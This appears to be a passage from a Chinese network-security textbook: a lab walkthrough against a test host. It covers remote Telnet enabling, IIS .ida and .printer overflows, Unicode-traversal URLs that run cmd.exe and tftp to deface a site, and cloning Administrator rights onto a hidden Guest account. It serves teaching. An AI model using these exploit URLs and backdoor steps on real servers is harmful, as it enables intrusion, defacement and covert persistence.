  • 通过“开始”→“程序”→“附件”找到“命令提示符”,使用鼠标右键单击“命令提示符”,然后选择“属性”。在“以其他用户身份运行”前面打钩。
  • 在MS-DOS界面中进行Telnet登录。

[方法2]

  • 首先建立telnet.txt文件,然后写入3,7,y,0,y,0,0。
  • 建立批处理文件tel.bat,输入命令tlntadmn<telnet.txt。该命令是把telnet.txt中的内容导入tlntadmn.exe。
  • 建立IPC$连接,将telnet.txt和tel.bat复制到远程计算机,并通过at命令执行tel.bat,去除NTLM认证。

⑧ 使用telnet命令进行Telnet连接测试。
3.IIS漏洞的入侵
(1)基于*.ida漏洞的入侵
① 扫描远程服务器,寻找有漏洞的主机。打开X-scan,按照如图2.47和图2.48所示,填好扫描项目,开始扫描远程主机。扫描完毕后,在扫描报告中,发现远程服务器192.168.26.201存在IIS .IDA ISAPI过滤器漏洞。

图像说明文字

在浏览器的地址栏中输入“http://192.168.26.201/.ida”,返回信息“文件C:\inetpub\ wwwroot\.ida文件名、目录名或卷标语法不正确”,确认远程主机存在漏洞,并得到远程服务器提供Web服务的根目录是C:\inetpub\wwwroot。
② IDA溢出,将工具IDAHack.exe复制到%systemroot%/system32目录下。在命令行下输入“idahack 192.168.26.201 80 1 520”(说明:目标主机没有打补丁,因此主机类型是1),打开端口号520,等待Telnet登录,如图2.49所示。
注释:如果使用ida.exe工具,则在命令行中输入“ida 192.168.26.201 80 0”即可打开Telnet端口号99。
③ Telnet登录,在MS-DOS中输入“telnet 192.168.26.201 520”命令远程登录服务器(见图2.50)。该Telnet登录并无身份验证,如果登录成功,立即得到Shell,该Shell拥有管理员权限,可以在其中执行任何命令。

图像说明文字

④ 建立账号,如图2.51所示。入侵成功后,在远程服务器上建立管理员账号,如图2.52所示。

图像说明文字

此时,入侵者便获得了一个远程主机上的管理员账号,可以通过系统认证来“合法”地使用“计算机管理”或“DameWare”等工具远程控制服务器,并且在远程服务器上添加了后门账号。
⑤ 使用“exit”命令退出登录。
(2)基于.printer漏洞的入侵
① 使用X-Scan工具扫描远程服务器。
② 使用iisx.exe工具连接有.printer漏洞的主机192.168.26.201,如图2.53所示。

图像说明文字

③ 执行Telnet命令“Telnet 192.168.26.201 7788”,入侵远程主机。
④ 在远程主机上创建管理员后门账号。
⑤ 使用“exit”命令退出登录。
(3)使用Unicode编码实现网站“涂鸦”
① 准备标语。用网页设计软件,如DreamWeaver、FrontPage制作一个标语网页,保存为1.htm。
② 探知远程服务器的Web根目录。首先查找被修改主页文件保存在哪里。利用Unicode漏洞找出Web根目录所在。用查找文件的方法找到远程服务器的Web根目录。在IE中输入“http://192.168.26.201/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir+c:\ mmc.gif/s”,其中“/s”参数加在dir命令后表示查找指定文件或文件夹的物理路径,所以“dir+c:\mmc.gif”表示在远程服务器的C盘中查找mmc.gif文件。由于文件mmc.gif是IIS默认安装在Web根目录中,所以在找到该文件的同时,也就找到了Web根目录,如图2.54所示。

图像说明文字

③ 涂鸦主页。涂鸦主页之前,可以利用Unicode漏洞,在地址栏中输入http://192.168.26.201/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir+c:\inetpub\wwwroot来遍历根目录下的文件。通常主页的文件名一般是index.htm,index.html,default.asp,default.htm等。由图2.55可知,远程主机的主页是index.htm。因此,此时只需要将标语文件1.htm上传到远程主机的Web根目录下覆盖掉index.htm就可以了。在本机运行TFTP服务器(Tftpd32.exe),此时不需要做任何设置,只要把1.htm文件复制到TFTP服务器的路径下,通过Tftp命令就能将1.htm下载到远程主机。

图像说明文字

注释:Tftp工具的使用方式如表2.11所示。

图像说明文字

利用Unicode漏洞使用Tftp命令把本机上的1.htm上传到远程主机的Web根目录下,使用命令“tftp+192.168.26.1+get+1.htm+c:\inetpub\wwwroot\index.htm”覆盖远程主机上的主页文件。在浏览器的地址栏里输入:“http://192.168.26.201/scripts/..%c0%2f../ winnt/system 32/cmd.exe?/c+tftp+192.168.26.12+get+1.htm+c:\inetpub\wwwroot\index.htm”之后,得到结果如图2.56所示,已经完成上传文件的任务。
④ 重新登录远程主机的网站。刷新后,即可看到刚才下载到目标主机的标语文件,如图2.57所示。“涂鸦”主页成功。

图像说明文字

4.密码的克隆
① 试运行权限提升工具 PSU.exe,查看使用方法,如图2.58所示。

图像说明文字

② 进入任务管理器,查看System的PID号,如图2.59所示,PID为8。

图像说明文字

③ 使用PSU工具进行权限的提升,如图2.60所示。

图像说明文字

④ 在注册表中找到存放系统账号名称以及配置信息的注册项,如图2.61所示。

图像说明文字

⑤ 找到Administrator,查看它的类型,如图2.62所示,它的类型为0x1f4。

图像说明文字

⑥ 由于采用十六进制换算过来就是000001F4这个项,所以000001F4这个项存放的就是系统管理员的权限及配置信息,如图2.63所示。

图像说明文字

⑦ 打开F项,把里面的十六进制数据复制出来,如图2.64所示。
⑧ 使用刚才的方法找到Guest用户,打开相同的项,把刚才复制的十六进制数据粘贴进去,如图2.65所示。
⑨ 为了隐蔽性应把Guest账号禁用,首先在命令行模式下输入“net user guest /active:no”,如图2.66所示。
查看当前Guest账号的状态。在命令行下输入 “net user Guest”。由图2.67可以看出Guest用户只属于Guest组。接下来打开计算机管理账号中的账号管理,可以发现Guest用户已经被禁用了。

图像说明文字

注销后用Guest账号登录,发现桌面配置与Administrator用户完全一样,下面用这个账号执行一个只有系统管理员才有权执行的操作,如果成功那表示这个账号后门可用,如图2.68所示。

图像说明文字

目录

同系列书

人邮微信
本地服务
人邮微信
教师服务
二维码
读者服务
读者服务
返回顶部
返回顶部